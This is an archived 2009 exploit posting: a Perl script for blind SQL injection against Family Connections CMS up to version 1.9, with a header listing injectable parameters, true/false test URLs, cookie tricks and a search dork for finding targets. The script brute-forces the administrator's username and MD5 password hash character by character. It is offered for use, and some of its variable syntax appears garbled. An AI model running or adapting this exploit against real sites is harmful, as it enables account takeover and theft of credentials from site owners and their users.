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securityvulnsSecurityvulnsSECURITYVULNS:DOC:21820
HistoryMay 13, 2009 - 12:00 a.m.

(GET var 'member') BLIND SQL INJECTION EXPLOIT --FAMILY CONNECTIONS <= v1.9 -->

2009-05-1300:00:00
vulners.com
41

#!/usr/bin/perl
#--------------------------------------------------------------------------------
#(GET var 'member') BLIND SQL INJECTION EXPLOIT --FAMILY CONNECTIONS <= v1.9 –>
#--------------------------------------------------------------------------------

#CMS INFORMATION:

#–>WEB: http://www.familycms.com/index.php
#–>DOWNLOAD: http://www.familycms.com/download.php
#–>DEMO: http://www.familycms.com/demo/index.php
#–>CATEGORY: CMS/PORTAL
#–>DESCRIPTION: A private, easy-to-use website where you can connect

with your friends and family. Share photos, messages, documents and more.

#–>RELEASED: 2009-05-11

#CMS VULNERABILITY:

#–>TESTED ON: firefox 3
#–>DORK: "2006-2009 Ryan Haudenschilt"
#–>CATEGORY: BLIND SQL INJECTION EXPLOIT
#–>AFFECT VERSION: <= 1.9
#–>Discovered Bug date: 2009-05-11
#–>Reported Bug date: 2009-05-11
#–>Fixed bug date: N/A
#–>Info patch (???): N/A
#–>Author: YEnH4ckEr
#–>mail: y3nh4ck3r[at]gmail[dot]com
#–>WEB/BLOG: N/A
#–>COMMENT: A mi novia Marijose…hermano,cunyada, padres (y amigos xD) por su apoyo.
#–>EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

#############
#-----------
#HISTORY:
#-----------
#############

#2008-06-14 –> v1.4 –> Fixed

#2009-03-30 –>v1.8.1 –> Not Fixed! (**)

#2009-04-03 –><=v1.8.2 –> Fixed

#2009-04-07 –><=v1.8.2 –> Not Fixed! (**)

#################################
#-------------------------------
#CURRENTLY:BLIND SQL INJECTION
#-------------------------------
#################################

#<<<<---------++++++++++++++ Condition: magic quotes=OFF/ON ++++++++++++++++±-------->>>>

#<<<<-----------++++++++++++ Condition: Be register user ++++++++++++±---------->>>>

#=========
#---------
#COOKIES:
#---------
#=========

#fcms_login_uname=your_real_name

#fcms_login_pw=your_real_pass

#fcms_login_id=your_real_id+and+1=1

#(Delete PHPSESSID) Result: True –> Show page

#fcms_login_user=your_real_name

#fcms_login_pass=your_real_pass

#fcms_login_id=your_real_id+and+1=0

#(Delete PHPSESSID) Result: False –> Don't Show page

#Exploits –> (**)

#=====================================
#-------------------------------------
#(messageboard.php) GET var 'thread':
#-------------------------------------
#=====================================

#http://[HOST]/[PATH]/messageboard.php?thread=1+AND+1=1 –> TRUE

#http://[HOST]/[PATH]/messageboard.php?thread=1+AND+1=0 –> FALSE

#================================
#--------------------------------
#(profile.php) GET var 'member':
#--------------------------------
#================================

#http://[HOST]/[PATH]/profile.php?member=2+AND+1=1 –> TRUE

#http://[HOST]/[PATH]/profile.php?member=2+AND+1=0 –> FALSE

#===================================
#-----------------------------------
#(gallery/index.php) GET var 'pid':
#-----------------------------------
#===================================

#http://[HOST]/[PATH]/gallery/index.php?uid=2&cid=2&pid=1+and+1=1 –> TRUE

#http://[HOST]/[PATH]/gallery/index.php?uid=2&cid=2&pid=1+and+1=0 –> FALSE

###########################
#--------------------------
#CONDITIONS TO EXPLOITING:
#--------------------------
###########################

#Valid username and password and id (Id is shown in cookies with autologin).

#######################################################################
#######################################################################
##*******************************************************************##

SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k …

####
##-------------------------------------------------------------------##
##
##

GREETZ TO: SPANISH H4ck3Rs community!

##*******************************************************************##
#######################################################################
#######################################################################

use LWP::UserAgent;
use HTTP::Request;
use Digest::MD5 qw(md5_hex);
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title Family Connections <= v1.9 (GET var 'member') BLIND SQL Injection
Exploit");
system ("color 02");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(GET => $[0]);
my $cookieid="fcms_login_id=".$
[1];
my $cookieuname="fcms_login_uname=".$[2];
my $cookiepw="fcms_login_pw=".$
[3];
my $cookie=$cookieid.";".$cookieuname.";".$cookiepw;
$request->header(cookie => $cookie);
my $outcode= $userag->request($request)->as_string;
return $outcode;

}
sub helper {
print "\n\t[!-!] Family Connections <= v1.9 (GET var 'member') BLIND SQLi Exploit\n";
print "\t[!-!] USAGE MODE: [!-!]\n";
print "\t[!-!] perl $0 [HOST] [PATH] [your-user] [your-pass] [your-id]\n";
print "\t[!-!] [HOST]: Web.\n";
print "\t[!-!] [PATH]: Home Path. Not use path= no-path\n";
print "\t[!-!] [your-user]: Your username.\n";
print "\t[!-!] [your-pass]: Your password.\n";
print "\t[!-!] [your-id]: Id in cookies –> Name=fcms_login_id.\n";
print "\t[!-!] Example: perl $0 'www.example.es' 'dogarchive' 'y3nh4ck3r' 'y3nh4ck3r'
'123'\n";
}
sub error {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS NOT VULNERABLE!\n\n";
print "\tMaybe –> \n\n";
print "\t1.-Patched\n";
print "\t2.-You aren't registered. Invalid username, password or id.\n\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB MAYBE BE VULNERABLE!\n\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit…\n";
print "\t-----------------------------------------------------------------\n\n";
}
sub brute_length{
#User length
$exit=0;
$i=0;
while($exit==0){
my $blindsql=$[0]."+AND+(SELECT+length(username)+FROM+fcms_users+WHERE+id=1)=".$i++;
#injected code
$output=&request($blindsql,$
[1],$[2],$[3]);
if($output =~ (/\<h3\>$[2], $[2]\<\/h3>/)){
$exit=1;
}else{
$exit=0;
}
#Maybe patched. This is the max length of username
if($i>25){
&error;
exit(1);
}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength User catched!\n";
print "\tLength User: ".$length."\n";
print "\tBruteforcing User and Password values.\n";
print "\tWait several minutes (15 o 20 minutes)…\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing
$values="";
$k=1;
$z=48;
while(($k<=$[1]) && ($z<=126)){
my
$blindsql=$
[0].'+AND+ascii(substring((SELECT+'.$[2].'+FROM+fcms_users+WHERE+id=1),'.$k.',1))='.$z;
$output=&request($blindsql,$
[3],$[4],$[5]);
if ($output =~ (/\<h3\>$[4], $[4]\<\/h3>/))
{
$values=$values.chr($z);
$k++;
$z=47;
}
#new char
$z++;
}
return $values;
}
#Main
&lw;
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
print "\t\t## Family Connections <= v1.9 - BLIND SQLi Exploit ##\n\n";
print "\t\t## Author: Y3nh4ck3r ##\n\n";
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t\t## Proud to be Spanish! ##\n\n";
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $myuser=$ARGV[2];
my $mypass=md5_hex($ARGV[3]);
my $myid=$ARGV[4];
#Build the uri
#Build the uri
if($path eq "no-path"){
$finalhost="http://".$host."/profile.php?member=".$myid;
}else{
$finalhost="http://".$host."/".$path."/profile.php?member=".$myid;
}
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=4)
{
&helper;
exit(1);
}
$finalrequest = $finalhost;
#Testing blind sql injection
$blindsql=$finalrequest."+AND+1=1";
$output=&request($blindsql,$myid,$myuser,$mypass);
if ($output =~ (/\<h3\>($myuser, $myuser)\<\/h3>/))
{
#blind sql injection is available
&testedblindsql;
}else{
#Not injectable
&error;
exit(1);
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,$myid,$myuser,$mypass);
#Bruteforcing username…
$username=&exploiting($finalrequest,$length_user,'username',$myid,$myuser,$mypass);
#Bruteforcing password…
$passhash=&exploiting($finalrequest,32,'password',$myid,$myuser,$mypass);
#final checking (perhaps admin id is not 2252)
if((!$username) || (!$passhash)){
&error;
exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t********* EXPLOIT EXECUTED WITH SUCCESS********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$username."\n";
print "\t\tAdmin-password(md5 hash): ".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok…all job done